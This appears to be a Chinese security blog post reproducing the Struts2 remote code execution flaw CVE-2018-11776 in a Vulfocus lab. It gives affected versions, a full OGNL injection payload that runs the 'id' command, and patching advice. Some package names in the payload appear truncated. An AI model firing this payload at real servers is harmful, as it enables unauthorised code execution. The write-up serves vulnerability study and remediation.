点击蓝字·关注我们
KUAI
一、漏洞描述
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。action元素没有设置名称空间属性,或者使用了通配符名称空间将由用户从uri传递并解析为OGNL表达式,最终导致远程代码执行漏洞。
二、影响版本
2.3 —— 2.3.34
2.5 —— 2.5.16
三、准备环境
Vulfocus
启动环境:docker-compoese up -d
访问页面
测试是否存在漏洞,抓包,构造url,返回的数据包显示了计算后的数值。
之后把url对应的部分替换成构造好的ognl表达式。
${(#dm=OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance( .opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a= .lang.Runtime@getRuntime().exec('id')).( .apache.commons.io.IOUtils@toString(#a.getInputStream()))} .
但是要把这段表达式转为url格式才能执行,所以将数据包处右击选择decoder。
然后再发包,执行了id命令。
四、修复建议
1、官方提供的临时解决方案:当上层动作配置中没有设置或使用通配符namespace时,验证所有XML配置中的namespace,同时在JSP中验证所有url标签的value和action。
2、建议升级版本。
银天信息专注于软件研发、信息安全与智慧城市等领域的创新发展,是政府及企业数字化、智慧化建设的重要合作伙伴,银天信息立足”为社会服好务、为员工谋福祉”的社会责任,秉承“以技术为引领、以市场为导向、以用户为中心”的发展理念。
自1996年成立以来,银天信息以产业前瞻研究和行业深度理解为双引擎,基于云计算、大数据、物联网、5G等先进技术形成了贯穿政府、企业数字化转型生命周期的“全栈式”产品及解决方案,包括IT战略咨询、规划、设计、实施、运营与商业模式创新等,为用户输出同步国际的智慧城市建设体系,实现IT云化和数据价值激活,提升整体核心竞争力。目前,已经与政府、教育、能源、金融、电信、医疗等行业客户开展深入的合作。
原文始发于微信公众号(银天信息):CVE-2018-11776 Struts2远程代码执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论